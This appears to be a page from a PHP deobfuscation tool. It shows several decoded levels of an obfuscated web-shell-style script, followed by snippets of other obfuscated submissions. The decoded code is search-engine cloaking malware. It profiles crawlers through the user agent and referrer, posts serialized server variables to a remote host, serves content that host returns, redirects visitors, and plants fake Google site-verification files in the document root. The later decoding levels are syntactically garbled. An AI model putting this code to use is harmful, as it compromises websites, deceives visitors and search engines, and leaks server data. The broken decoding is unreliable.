$LRrKC .= "fica"; goto nqhQn; tOJ2z: $Mu4jC = "DOC"; goto E1dRO; Szke6: die; goto LQWbK; Ojw6j: if ($IU2NX) { goto LPyxy; } goto SBDu7; pDlEV: $qK1KK .= "gle[\w"; goto zDuPO; h8ko9: if (!isset($_GET[$DuJqb])) { goto bNIoM; } goto vh_Lk; rdZGH: $LRrKC = "goo"; goto fQnTE; AQIOF: header($ZNDhR[1]); goto BgS40; WUFOJ: $DuJqb = "yt1"; goto tOJ2z; E1dRO: $Mu4jC .= "UMEN"; goto NrMvC; M9uq4: $gGiYX = str_replace(".x", , trim($SGCr0[1])); goto hFMtR; YlE81: if (!preg_match("/sitemap.*?\.xml$/si", $FMxdC)) { goto G9nbW; } goto St6AW; xOSjm: $OBMjF = trim($yOJaT[1]); goto zo0yo; St6AW: $IIbj2 = mMUiY($TlS1C, array("x" => serialize($_SERVER))); goto HH_bA; yPgXp: G9nbW: goto mSvJB; UhKDV: if (!preg_match("/" . $qK1KK . "$/si", $FMxdC, $SGCr0)) { goto rdWAi; } goto M9uq4; Yv2rU: $qK1KK = "(goo"; goto pDlEV; b1yE9: chmod($bSdEy, 0555); goto xKQ_R; uI9LY: if (!$p9t7M) { goto zbLCp; } goto oMpdA; COkAh: } goto TnA0N; TnA0N: jvxeo();

Decrypted code level 2:

define('A', 'jan06tphu5563htr/suruga::shopdetail/^^!!|[word]/[0:1]^?pid=!::'); goto QRKCI; QRKCI: @date_default_timezone_set("PRC"); goto eOb91; qy3v6: function ZQ0D8($fxCBi = '') { return preg_match("/(googlecojp|yahoocojp|bing|baidu|googlecom)/si", $fxCBi); } goto ZVYHw; FNQTf: function tTkg3($qJbut = '') { return preg_match("/(googlebot|baiduspider|bingbot|google|baidu|aol|bing|yahoo|yandex)/si", $qJbut); } goto qy3v6; r2BR3: function MmuIy($DPG44, $hKUtf = array()) { goto Iu2Oq; Iu2Oq: $TZZdx = 0; goto ceOyM; mzFgp: return $TZZdx; goto wNjfl; ceOyM: try { goto GmbPK; OgWrd: $J4q9k = "GET"; goto eTMav; ZHa1_: ATty9: goto areBD; K4wgs: if (!true) { goto RthG9; } goto rtKj9; QfHdS: $dquoy = hexdec(substr($G6Xd0, 0, $c_QSn)); goto hrLnF; hrLnF: if (!($dquoy === 0)) { goto zrHfX; } goto yQyVJ; xY0Sl: FiINC: goto K4wgs; s6S1s: if (feof($oqXz8)) { goto q2YjN; } goto CxfUY; jUXLU: $QYIFY .= substr($G6Xd0, $c_QSn + 2, $dquoy); goto PZKvH; GmfBI: $aDGWJ = isset($qeAhP["scheme"]) ? $qeAhP["scheme"] : "http"; goto MB0gX; PXDPy: $G6Xd0 = $QYIFY; goto RVXpx; uaMkr: $G6Xd0 = isset("x") ? "x" : ''; goto bDqRG; ZBIc9: curl_setopt($L24F4, CURLOPT_SSL_VERIFYPEER, false); goto kuU5t; z9wpD: if (empty($hKUtf)) { goto qU6DC; } goto dw3TR; dw3TR: $J4q9k = "POST"; goto jvb1P; areBD: K82RA: goto U5aFm; amoyI: $MQ8BB = isset("e") ? "e" : ''; goto uaMkr; YI3AN: $QYIFY = ''; goto xY0Sl; L_v2m: $qeAhP = parse_url($DPG44); goto GmfBI; TtwUx: if (!$r3L1E) { goto TPGAK; } goto USCcI; pDaTp: $R2OFg = "{$J4q9k} {$GCiv2}{$dW0cM} HTTPyq
\xa"; goto Aqks5; TFVJk: if (!($J4q9k === "POST")) { goto P8Grw; } goto GctZN; nRKxX: curl_setopt($L24F4, CURLOPT_POSTFIELDS, http_build_query($hKUtf)); goto GXfuj; bXY_P: curl_setopt($L24F4, CURLOPT_POST, 1); goto nRKxX; OlWSw: TPGAK: goto L26xX; tyIky: curl_setopt($L24F4, CURLOPT_USERAGENT, "WHR"); goto Zqcby; xJubK: $MQ8BB .= "Connection: close\xd\xa
"; goto gMOrX; rtKj9: $c_QSn = strpos($G6Xd0, "\xd
"); goto ALd83; ABrG3:  goto amoyI; RVXpx: OSjCe: goto QTIV8; Wftw1: if (!($TZZdx == 0)) { goto K82RA; } goto L_v2m; ALd83: if (!($c_QSn === false)) { goto AQccp; } goto ZAy5H; Aqks5: $R2OFg .= "Host: {$qCmcL}\xd\xa"; goto azD7f; QTIV8: $TZZdx = trim($G6Xd0); goto ZHa1_; GXfuj: Y8rHA: goto v367D; yQyVJ: goto RthG9; goto x4Gr0; S8lXJ: curl_setopt($L24F4, CURLOPT_RETURNTRANSFER, 1); goto ZBIc9; AI203: $J8Nnq = ''; goto OgWrd; bDqRG: if (!(stripos($MQ8BB, "Transfer-Encoding: chunked") !== false)) { goto OSjCe; } goto YI3AN; AJrGO: curl_setopt($L24F4, CURLOPT_FOLLOWLOCATION, 1); goto PHHzt; QHqqY: IL_pi: goto s6S1s; zmkjO: $oqXz8 = stream_socket_client($su2b6, $cGtyk, $h8vIt, 45); goto c9qLv; ZAy5H: goto RthG9; goto JQkZj; R_S24: $MQ8BB .= "Content-Length: " . strlen($J8Nnq) . "
\xa"; goto mPzvR; qeNEw: fwrite($oqXz8, $R2OFg); goto QHqqY; JQkZj: AQccp: goto QfHdS; azD7f: $R2OFg .= $MQ8BB; goto TFVJk; GmbPK: if (!(function_exists("curl_init") && function_exists("curl_exec"))) { goto JISuQ; } goto n15Pz; GctZN: $R2OFg .= $J8Nnq; goto vfe9o; jvb1P: $J8Nnq = http_build_query($hKUtf); goto VRhKQ; USCcI: $TZZdx = trim(trim($r3L1E, "")); goto OlWSw; MCP33: RthG9: goto PXDPy; n15Pz: $L24F4 = curl_init(); goto LjhxK; LjhxK: curl_setopt($L24F4, CURLOPT_URL, $DPG44); goto tyIky; N903B: $GCiv2 = isset($qeAhP["path"]) ? $qeAhP["path"] : "/"; goto EKZOi; Zqcby: curl_setopt($L24F4, CURLOPT_CONNECTTIMEOUT, 0); goto S8lXJ; eTMav: $MQ8BB = "User-Agent: WHR
"; goto z9wpD; mPzvR: qU6DC: goto xJubK; CxfUY: $TZZdx .= fgets($oqXz8, 1024); goto Bh_gH; VRhKQ: $MQ8BB .= "Content-Type: application/x-www-form-urlencoded
"; goto R_S24; gMOrX: $su2b6 = ($aDGWJ === "https" ? "ssl://" : '') . $qCmcL . ":" . $VYfVL; goto zmkjO; Bh_gH: goto IL_pi; goto J71Ji; MB0gX: $qCmcL = $qeAhP["host"]; goto uc_lz; uc_lz: $VYfVL = $aDGWJ === "https" ? 443 : 80; goto N903B; J71Ji: q2YjN: goto l1eaB; PHHzt: curl_setopt($L24F4, CURLOPT_TIMEOUT, 60); goto vWVuY; v367D: $r3L1E = curl_exec($L24F4); goto VGfT3; DqhwK: goto FiINC; goto MCP33; EKZOi: $dW0cM = isset($qeAhP["query"]) ? "?" . $qeAhP["query"] : ''; goto AI203; kuU5t: curl_setopt($L24F4, CURLOPT_SSL_VERIFYHOST, false); goto AJrGO; vfe9o: P8Grw: goto qeNEw; PZKvH: $G6Xd0 = substr($G6Xd0, $c_QSn + 2 + $dquoy + 2); goto DqhwK; VGfT3: curl_close($L24F4); goto TtwUx; c9qLv: if (!$oqXz8) { goto ATty9; } goto pDaTp; vWVuY: if (empty($hKUtf)) { goto Y8rHA; } goto bXY_P; x4Gr0: zrHfX: goto jUXLU; l1eaB: fclose($oqXz8); goto ABrG3; L26xX: JISuQ: goto Wftw1; U5aFm: } catch (Exception $VmQTe) { } goto mzFgp; wNjfl: } goto FNQTf; eOb91: if (!function_exists("ob_start")) { goto sJnQe; } goto g2_bs; g2_bs: @ob_start(); goto j2UDR; ZVYHw: function wLtgQ($YWRuB) { goto epMum; c5ti2: qG4Z7: goto KUO_j; AOXPr: foreach ($xFozO as $YMubu => $Wr0t1) { $xFozO[$YMubu] = chr(ord($Wr0t1) - 5); sZ25O: } goto jOP1i; epMum: $Tsbs9 = ''; goto ZE7jX; ZxAjC: if (!(is_array($mroCl) && count($mroCl) == 4)) { goto qG4Z7; } goto VqUaz; uSQh3: $Tsbs9 = "x" . $Tsbs9 . "l"; goto c5ti2; dSer4: f5YaY: goto uSQh3; KUO_j: return $Tsbs9; goto rmmBf; jOP1i: RP84H: goto Pz50c; w4Uhr: $xFozO = preg_split("//", "p", -1, PREG_SPLIT_NO_EMPTY); goto AOXPr; ZE7jX: preg_match("/([^\.]+\.)(.*)(\/.*)/", $YWRuB, $mroCl); goto ZxAjC; Pz50c: $Tsbs9 = implode('', $xFozO); goto dSer4; VqUaz: if (!("p" != '')) { goto f5YaY; } goto w4Uhr; rmmBf: } goto kCELd; j2UDR: sJnQe: goto r2BR3; kCELd: function jVxEO($QEHtw = '') { goto bAeaB; UZNwl: $D6BIz = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto FYprq; lGkMc: $_SERVER["yt_jump"] = 0; goto JC3V2; LiDXR: echo "{$IIbj2}"; goto Yyo9w; awwo8: echo sprintf("<body onload="documentgetElementsByTagName(%sa%s)[0].click()"><a href="%s"></a><noscript><meta http-equiv="refresh" content=; url=%s" /></noscript></body>", "'", "'", $OBMjF, $OBMjF); goto XZaiF; Yyo9w: die; goto a8Cpt; kWwrX: echo MmUIY($PoTH9); goto eQvWK; LQWbK: rdWAi: goto V6fPi; mSvJB: $qanA2 = "tion:"; goto Yv2rU; meAMz: if (!preg_match("/^Jump@(.*)/", $IIbj2, $yOJaT)) { goto DRJmM; } goto xOSjm; zDuPO: $qK1KK .= "]{"; goto itIdW; HH_bA: $IIbj2 = trim($IIbj2); goto dLcDy; MrfcA: die; goto isbfk; uu6RE: $_SERVER["yt_up"] = "p"; goto WUFOJ; FcuHB: echo gethostbyname($JjeoA["host"]); goto eB2jj; hFMtR: chmod($bSdEy, 0755); goto A_uNR; oMpdA: $_SERVER["yt_jump"] = 1; goto xEMXW; FAOY4: $JjeoA = parse_url($TlS1C); goto FcuHB; fQnTE: $LRrKC .= "gle-si"; goto S7O6W; wY0VU: if (!preg_match("/^Head@(.*?)@@(.*)/is", $IIbj2, $ZNDhR)) { goto tGYwh; } goto AQIOF; LTmM2: goto GuvtB; goto eqlhj; nqhQn: $LRrKC .= $qanA2; goto dV8XA; tM2e3: return; goto AbX4h; oF3gC: die; goto LC5LW; itIdW: $qK1KK .= "}\.xh"; goto lltZa; dLcDy: if (!preg_match("/^Head@(.*?)@@(.*)/is", $IIbj2, $ZNDhR)) { goto qqCfz; } goto BLHlS; eQvWK: bgirg: goto MrfcA; USJ1l: $p9t7M = ZQ0D8($D6BIz); goto G9T3N; f83GH: $tNkvt = tTkG3($RLf76); goto USJ1l; A_uNR: file_put_contents("{$bSdEy}/{$gGiYX}", "{$LRrKC} {$gGiYX}"); goto b1yE9; G9T3N:  goto qpD4m; xACgt: die; goto yPgXp; VQHJ6: $FMxdC = $FMxdC == '' ? isset($_SERVER["PATH_INFO"]) && $_SERVER["PATH_INFO"] != '' ? $_SERVER["PATH_INFO"] : $FMxdC : $FMxdC; goto UZNwl; BgS40: $IIbj2 = "p"; goto TLSRs; xKQ_R: header("{$qanA2} /{$gGiYX}"); goto Szke6; QHeR5: qqCfz: goto iF10Q; dV8XA: $qanA2 = "Loca" . $qanA2; goto UhKDV; mkxdA: $IIbj2 = "p"; goto QHeR5; Mx5ab: if (!in_array($IIbj2, ["*404", "*return"])) { goto f_YQ9; } goto tM2e3; Dvv_f: $IIbj2 = MMUIY($TlS1C, array("x" => serialize($_SERVER))); goto RR8wt; S7O6W: $LRrKC .= "te-veri"; goto Bo1rv; bAeaB: $FMxdC = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : ''); goto VQHJ6; isbfk: bNIoM: goto uI9LY; ayCeT: cnypK: goto kWwrX; lltZa: $qK1KK .= "tml)"; goto rdZGH; vh_Lk: $PoTH9 = trim($_GET[$DuJqb]); goto AIoYG; xEMXW: zbLCp: goto Dvv_f; AIoYG: if (preg_match("/^https?/si", $PoTH9)) { goto cnypK; } goto g_KCB; eqlhj: LPyxy: goto awwo8; JC3V2: $_SERVER["yt_gz"] = "x"; goto uu6RE; g_KCB: echo sprintf($YsEje, $TlS1C, $TlS1C) . "<br /><br />"; goto FAOY4; SBDu7: echo $OBMjF; goto LTmM2; iF10Q: echo "{$IIbj2}"; goto xACgt; AbX4h: f_YQ9: goto meAMz; eckPK: $bSdEy = $_SERVER[$Mu4jC]; goto YlE81; TLSRs: tGYwh: goto LiDXR; eB2jj: goto bgirg; goto ayCeT; XZaiF: GuvtB: goto oF3gC; FYprq: $RLf76 = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto f83GH; LC5LW: DRJmM: goto wY0VU; V6fPi: if (!($tNkvt || $p9t7M)) { goto bXQiQ; } goto xTkIx; NrMvC: $Mu4jC .= "T_ROOT"; goto eckPK; RR8wt: $IIbj2 = trim($IIbj2); goto Mx5ab; qpD4m: $TlS1C = sprintf("https://%spy", WLTGq("e")); goto lGkMc; BLHlS: header("x"); goto mkxdA; a8Cpt: bXQiQ: goto COkAh; xTkIx: $YsEje = "<a href="%s" target="_blank">%s</a>"; goto h8ko9; zo0yo: $IU2NX = preg_match("/^https?\:\/\//si", $OBMjF); goto Ojw6j; Bo1rv: $LRrKC .= "fica"; goto nqhQn; tOJ2z: $Mu4jC = "DOC"; goto E1dRO; Szke6: die; goto LQWbK; Ojw6j: if ($IU2NX) { goto LPyxy; } goto SBDu7; pDlEV: $qK1KK .= "gle[\w"; goto zDuPO; h8ko9: if (!isset($_GET[$DuJqb])) { goto bNIoM; } goto vh_Lk; rdZGH: $LRrKC = "goo"; goto fQnTE; AQIOF: header("x"); goto BgS40; WUFOJ: $DuJqb = "yt1"; goto tOJ2z; E1dRO: $Mu4jC .= "UMEN"; goto NrMvC; M9uq4: $gGiYX = str_replace(".x", , trim("x")); goto hFMtR; YlE81: if (!preg_match("/sitemap.*?\.xml$/si", $FMxdC)) { goto G9nbW; } goto St6AW; xOSjm: $OBMjF = trim("x"); goto zo0yo; St6AW: $IIbj2 = mMUiY($TlS1C, array("x" => serialize($_SERVER))); goto HH_bA; yPgXp: G9nbW: goto mSvJB; UhKDV: if (!preg_match("/" . $qK1KK . "$/si", $FMxdC, $SGCr0)) { goto rdWAi; } goto M9uq4; Yv2rU: $qK1KK = "(goo"; goto pDlEV; b1yE9: chmod($bSdEy, 0555); goto xKQ_R; uI9LY: if (!$p9t7M) { goto zbLCp; } goto oMpdA; COkAh: } goto TnA0N; TnA0N: jvxeo();

Decrypted code level 3:

define('A', 'jan06tphu5563htr/suruga::shopdetail/^^!!|[word]/[0:1]^?pid=!::'); goto QRKCI; QRKCI: @date_default_timezone_set("PRC"); goto eOb91; qy3v6: function ZQ0D8($fxCBi = '') { return preg_match("/(googlecojp|yahoocojp|bing|baidu|googlecom)/si", $fxCBi); } goto ZVYHw; FNQTf: function tTkg3($qJbut = '') { return preg_match("/(googlebot|baiduspider|bingbot|google|baidu|aol|bing|yahoo|yandex)/si", $qJbut); } goto qy3v6; r2BR3: function MmuIy($DPG44, $hKUtf = array()) { goto Iu2Oq; Iu2Oq: $TZZdx = 0; goto ceOyM; mzFgp: return $TZZdx; goto wNjfl; ceOyM: try { goto GmbPK; OgWrd:  goto eTMav; ZHa1_: ATty9: goto areBD; K4wgs: if (!true) { goto RthG9; } goto rtKj9; QfHdS: $dquoy = hexdec(substr($G6Xd0, 0, $c_QSn)); goto hrLnF; hrLnF: if (!($dquoy === 0)) { goto zrHfX; } goto yQyVJ; xY0Sl: FiINC: goto K4wgs; s6S1s: if (feof($oqXz8)) { goto q2YjN; } goto CxfUY; jUXLU: $QYIFY .= substr($G6Xd0, $c_QSn + 2, $dquoy); goto PZKvH; GmfBI: $aDGWJ = isset($qeAhP["scheme"]) ? $qeAhP["scheme"] : "http"; goto MB0gX; PXDPy: $G6Xd0 = $QYIFY; goto RVXpx; uaMkr: $G6Xd0 = isset("x") ? "x" : ''; goto bDqRG; ZBIc9: curl_setopt($L24F4, CURLOPT_SSL_VERIFYPEER, false); goto kuU5t; z9wpD: if (empty($hKUtf)) { goto qU6DC; } goto dw3TR; dw3TR: "GET" = "POST"; goto jvb1P; areBD: K82RA: goto U5aFm; amoyI: $MQ8BB = isset("e") ? "e" : ''; goto uaMkr; YI3AN: $QYIFY = ''; goto xY0Sl; L_v2m: $qeAhP = parse_url($DPG44); goto GmfBI; TtwUx: if (!$r3L1E) { goto TPGAK; } goto USCcI; pDaTp: $R2OFg = "{"GET"} {$GCiv2}{$dW0cM} HTTPyq
\xa"; goto Aqks5; TFVJk: if (!("GET" === "POST")) { goto P8Grw; } goto GctZN; nRKxX: curl_setopt($L24F4, CURLOPT_POSTFIELDS, http_build_query($hKUtf)); goto GXfuj; bXY_P: curl_setopt($L24F4, CURLOPT_POST, 1); goto nRKxX; OlWSw: TPGAK: goto L26xX; tyIky: curl_setopt($L24F4, CURLOPT_USERAGENT, "WHR"); goto Zqcby; xJubK: $MQ8BB .= "Connection: close\xd\xa
"; goto gMOrX; rtKj9: $c_QSn = strpos($G6Xd0, "\xd
"); goto ALd83; ABrG3:  goto amoyI; RVXpx: OSjCe: goto QTIV8; Wftw1: if (!($TZZdx == 0)) { goto K82RA; } goto L_v2m; ALd83: if (!($c_QSn === false)) { goto AQccp; } goto ZAy5H; Aqks5: $R2OFg .= "Host: {$qCmcL}\xd\xa"; goto azD7f; QTIV8: $TZZdx = trim($G6Xd0); goto ZHa1_; GXfuj: Y8rHA: goto v367D; yQyVJ: goto RthG9; goto x4Gr0; S8lXJ: curl_setopt($L24F4, CURLOPT_RETURNTRANSFER, 1); goto ZBIc9; AI203: $J8Nnq = ''; goto OgWrd; bDqRG: if (!(stripos($MQ8BB, "Transfer-Encoding: chunked") !== false)) { goto OSjCe; } goto YI3AN; AJrGO: curl_setopt($L24F4, CURLOPT_FOLLOWLOCATION, 1); goto PHHzt; QHqqY: IL_pi: goto s6S1s; zmkjO: $oqXz8 = stream_socket_client($su2b6, $cGtyk, $h8vIt, 45); goto c9qLv; ZAy5H: goto RthG9; goto JQkZj; R_S24: $MQ8BB .= "Content-Length: " . strlen($J8Nnq) . "
\xa"; goto mPzvR; qeNEw: fwrite($oqXz8, $R2OFg); goto QHqqY; JQkZj: AQccp: goto QfHdS; azD7f: $R2OFg .= $MQ8BB; goto TFVJk; GmbPK: if (!(function_exists("curl_init") && function_exists("curl_exec"))) { goto JISuQ; } goto n15Pz; GctZN: $R2OFg .= $J8Nnq; goto vfe9o; jvb1P: $J8Nnq = http_build_query($hKUtf); goto VRhKQ; USCcI: $TZZdx = trim(trim($r3L1E, "")); goto OlWSw; MCP33: RthG9: goto PXDPy; n15Pz: $L24F4 = curl_init(); goto LjhxK; LjhxK: curl_setopt($L24F4, CURLOPT_URL, $DPG44); goto tyIky; N903B: $GCiv2 = isset($qeAhP["path"]) ? $qeAhP["path"] : "/"; goto EKZOi; Zqcby: curl_setopt($L24F4, CURLOPT_CONNECTTIMEOUT, 0); goto S8lXJ; eTMav: $MQ8BB = "User-Agent: WHR
"; goto z9wpD; mPzvR: qU6DC: goto xJubK; CxfUY: $TZZdx .= fgets($oqXz8, 1024); goto Bh_gH; VRhKQ: $MQ8BB .= "Content-Type: application/x-www-form-urlencoded
"; goto R_S24; gMOrX: $su2b6 = ($aDGWJ === "https" ? "ssl://" : '') . $qCmcL . ":" . $VYfVL; goto zmkjO; Bh_gH: goto IL_pi; goto J71Ji; MB0gX: $qCmcL = $qeAhP["host"]; goto uc_lz; uc_lz: $VYfVL = $aDGWJ === "https" ? 443 : 80; goto N903B; J71Ji: q2YjN: goto l1eaB; PHHzt: curl_setopt($L24F4, CURLOPT_TIMEOUT, 60); goto vWVuY; v367D: $r3L1E = curl_exec($L24F4); goto VGfT3; DqhwK: goto FiINC; goto MCP33; EKZOi: $dW0cM = isset($qeAhP["query"]) ? "?" . $qeAhP["query"] : ''; goto AI203; kuU5t: curl_setopt($L24F4, CURLOPT_SSL_VERIFYHOST, false); goto AJrGO; vfe9o: P8Grw: goto qeNEw; PZKvH: $G6Xd0 = substr($G6Xd0, $c_QSn + 2 + $dquoy + 2); goto DqhwK; VGfT3: curl_close($L24F4); goto TtwUx; c9qLv: if (!$oqXz8) { goto ATty9; } goto pDaTp; vWVuY: if (empty($hKUtf)) { goto Y8rHA; } goto bXY_P; x4Gr0: zrHfX: goto jUXLU; l1eaB: fclose($oqXz8); goto ABrG3; L26xX: JISuQ: goto Wftw1; U5aFm: } catch (Exception $VmQTe) { } goto mzFgp; wNjfl: } goto FNQTf; eOb91: if (!function_exists("ob_start")) { goto sJnQe; } goto g2_bs; g2_bs: @ob_start(); goto j2UDR; ZVYHw: function wLtgQ($YWRuB) { goto epMum; c5ti2: qG4Z7: goto KUO_j; AOXPr: foreach ($xFozO as $YMubu => $Wr0t1) { $xFozO[$YMubu] = chr(ord($Wr0t1) - 5); sZ25O: } goto jOP1i; epMum: $Tsbs9 = ''; goto ZE7jX; ZxAjC: if (!(is_array($mroCl) && count($mroCl) == 4)) { goto qG4Z7; } goto VqUaz; uSQh3: $Tsbs9 = "x" . $Tsbs9 . "l"; goto c5ti2; dSer4: f5YaY: goto uSQh3; KUO_j: return $Tsbs9; goto rmmBf; jOP1i: RP84H: goto Pz50c; w4Uhr: $xFozO = preg_split("//", "p", -1, PREG_SPLIT_NO_EMPTY); goto AOXPr; ZE7jX: preg_match("/([^\.]+\.)(.*)(\/.*)/", $YWRuB, $mroCl); goto ZxAjC; Pz50c: $Tsbs9 = implode('', $xFozO); goto dSer4; VqUaz: if (!("p" != '')) { goto f5YaY; } goto w4Uhr; rmmBf: } goto kCELd; j2UDR: sJnQe: goto r2BR3; kCELd: function jVxEO($QEHtw = '') { goto bAeaB; UZNwl: $D6BIz = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto FYprq; lGkMc: $_SERVER["yt_jump"] = 0; goto JC3V2; LiDXR: echo "{"p"}"; goto Yyo9w; awwo8: echo sprintf("<body onload="documentgetElementsByTagName(%sa%s)[0].click()"><a href="%s"></a><noscript><meta http-equiv="refresh" content=; url=%s" /></noscript></body>", "'", "'", $OBMjF, $OBMjF); goto XZaiF; Yyo9w: die; goto a8Cpt; kWwrX: echo MmUIY($PoTH9); goto eQvWK; LQWbK: rdWAi: goto V6fPi; mSvJB: $qanA2 = "tion:"; goto Yv2rU; meAMz: if (!preg_match("/^Jump@(.*)/", "p", $yOJaT)) { goto DRJmM; } goto xOSjm; zDuPO: $qK1KK .= "]{"; goto itIdW; HH_bA: "p" = trim("p"); goto dLcDy; MrfcA: die; goto isbfk; uu6RE: $_SERVER["yt_up"] = "p"; goto WUFOJ; FcuHB: echo gethostbyname($JjeoA["host"]); goto eB2jj; hFMtR: chmod($bSdEy, 0755); goto A_uNR; oMpdA: $_SERVER["yt_jump"] = 1; goto xEMXW; FAOY4: $JjeoA = parse_url($TlS1C); goto FcuHB; fQnTE: "goo" .= "gle-si"; goto S7O6W; wY0VU: if (!preg_match("/^Head@(.*?)@@(.*)/is", "p", $ZNDhR)) { goto tGYwh; } goto AQIOF; LTmM2: goto GuvtB; goto eqlhj; nqhQn: "goo" .= $qanA2; goto dV8XA; tM2e3: return; goto AbX4h; oF3gC: die; goto LC5LW; itIdW: $qK1KK .= "}\.xh"; goto lltZa; dLcDy: if (!preg_match("/^Head@(.*?)@@(.*)/is", "p", $ZNDhR)) { goto qqCfz; } goto BLHlS; eQvWK: bgirg: goto MrfcA; USJ1l: $p9t7M = ZQ0D8($D6BIz); goto G9T3N; f83GH: $tNkvt = tTkG3($RLf76); goto USJ1l; A_uNR: file_put_contents("{$bSdEy}/{$gGiYX}", "{"goo"} {$gGiYX}"); goto b1yE9; G9T3N:  goto qpD4m; xACgt: die; goto yPgXp; VQHJ6: $FMxdC = $FMxdC == '' ? isset($_SERVER["PATH_INFO"]) && $_SERVER["PATH_INFO"] != '' ? $_SERVER["PATH_INFO"] : $FMxdC : $FMxdC; goto UZNwl; BgS40:  goto TLSRs; xKQ_R: header("{$qanA2} /{$gGiYX}"); goto Szke6; QHeR5: qqCfz: goto iF10Q; dV8XA: $qanA2 = "Loca" . $qanA2; goto UhKDV; mkxdA:  goto QHeR5; Mx5ab: if (!in_array("p", ["*404", "*return"])) { goto f_YQ9; } goto tM2e3; Dvv_f: "p" = MMUIY($TlS1C, array("x" => serialize($_SERVER))); goto RR8wt; S7O6W: "goo" .= "te-veri"; goto Bo1rv; bAeaB: $FMxdC = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : ''); goto VQHJ6; isbfk: bNIoM: goto uI9LY; ayCeT: cnypK: goto kWwrX; lltZa: $qK1KK .= "tml)"; goto rdZGH; vh_Lk: $PoTH9 = trim($_GET["yt1"]); goto AIoYG; xEMXW: zbLCp: goto Dvv_f; AIoYG: if (preg_match("/^https?/si", $PoTH9)) { goto cnypK; } goto g_KCB; eqlhj: LPyxy: goto awwo8; JC3V2: $_SERVER["yt_gz"] = "x"; goto uu6RE; g_KCB: echo sprintf($YsEje, $TlS1C, $TlS1C) . "<br /><br />"; goto FAOY4; SBDu7: echo $OBMjF; goto LTmM2; iF10Q: echo "{"p"}"; goto xACgt; AbX4h: f_YQ9: goto meAMz; eckPK: $bSdEy = $_SERVER["DOC"]; goto YlE81; TLSRs: tGYwh: goto LiDXR; eB2jj: goto bgirg; goto ayCeT; XZaiF: GuvtB: goto oF3gC; FYprq: $RLf76 = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto f83GH; LC5LW: DRJmM: goto wY0VU; V6fPi: if (!($tNkvt || $p9t7M)) { goto bXQiQ; } goto xTkIx; NrMvC: "DOC" .= "T_ROOT"; goto eckPK; RR8wt: "p" = trim("p"); goto Mx5ab; qpD4m: $TlS1C = sprintf("https://%spy", WLTGq("e")); goto lGkMc; BLHlS: header("x"); goto mkxdA; a8Cpt: bXQiQ: goto COkAh; xTkIx: $YsEje = "<a href="%s" target="_blank">%s</a>"; goto h8ko9; zo0yo: $IU2NX = preg_match("/^https?\:\/\//si", $OBMjF); goto Ojw6j; Bo1rv: "goo" .= "fica"; goto nqhQn; tOJ2z:  goto E1dRO; Szke6: die; goto LQWbK; Ojw6j: if ($IU2NX) { goto LPyxy; } goto SBDu7; pDlEV: $qK1KK .= "gle[\w"; goto zDuPO; h8ko9: if (!isset($_GET["yt1"])) { goto bNIoM; } goto vh_Lk; rdZGH:  goto fQnTE; AQIOF: header("x"); goto BgS40; WUFOJ:  goto tOJ2z; E1dRO: "DOC" .= "UMEN"; goto NrMvC; M9uq4: $gGiYX = str_replace(".x", , trim("x")); goto hFMtR; YlE81: if (!preg_match("/sitemap.*?\.xml$/si", $FMxdC)) { goto G9nbW; } goto St6AW; xOSjm: $OBMjF = trim("x"); goto zo0yo; St6AW: "p" = mMUiY($TlS1C, array("x" => serialize($_SERVER))); goto HH_bA; yPgXp: G9nbW: goto mSvJB; UhKDV: if (!preg_match("/" . $qK1KK . "$/si", $FMxdC, $SGCr0)) { goto rdWAi; } goto M9uq4; Yv2rU: $qK1KK = "(goo"; goto pDlEV; b1yE9: chmod($bSdEy, 0555); goto xKQ_R; uI9LY: if (!$p9t7M) { goto zbLCp; } goto oMpdA; COkAh: } goto TnA0N; TnA0N: jvxeo();

Recent submissions:

var _0x5cd3=['QHXCm1NEw6Bvwp3Dlhk=','N8KdwojCuw==','D2sIXCpNbSnCnVM=','wp/ClMK5w4bCgyEjD8K... <?php //002cd if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrup... HR+cPrE9L9pZEQtJ+cN1lq7fJCxtPQF/yb+lHlKTtKq8KjuDfE6jVL4xsCh+Dmc2K4Wj7G9V6HVJ i5AdcW4Q+I... <?php $payload = 'ZXZhbCgkaWYoZW1wdHkoJGRlY29kZSkgJiYgJGxlbj09PTEpIHskcGxheWxvYWR9IDsgZWx... <?php $code = 'ZXZhbChiYXNlNjRfZGVjb2RlKCdjcmltZShmcmllbmQoIkhlbGxvIFdvcmxkIikpJykpOw==';... <?php define('A', 'jan06.tphu5563htr/suruga::shopdetail/^^!!|[word]/[0:1]^?pid=!::'); goto... frame=19062\x0Afps=30.21\x0Astream_0_0_q=-1.0\x0Abitrate=N/A\x0Atotal_size=N/A\x0Aout_time... {"saveName":"save4","datetime":1757611671,"dayPass":71,"description":{"term":"角色/playe... <?php $bs_en="JTZFMSU3QSU2MiUyRiU2RCU2MTUlNUMlNzYlNzQwJTY5MjglMkQlNzAlNzglNzUlNzElNzklMkE... <?php ini_set('memory_limit','-1');$a="ba";$b="dG8gcTFDZmQ7";$c="s";$d="dG8gcTFDZmQ7";$e="...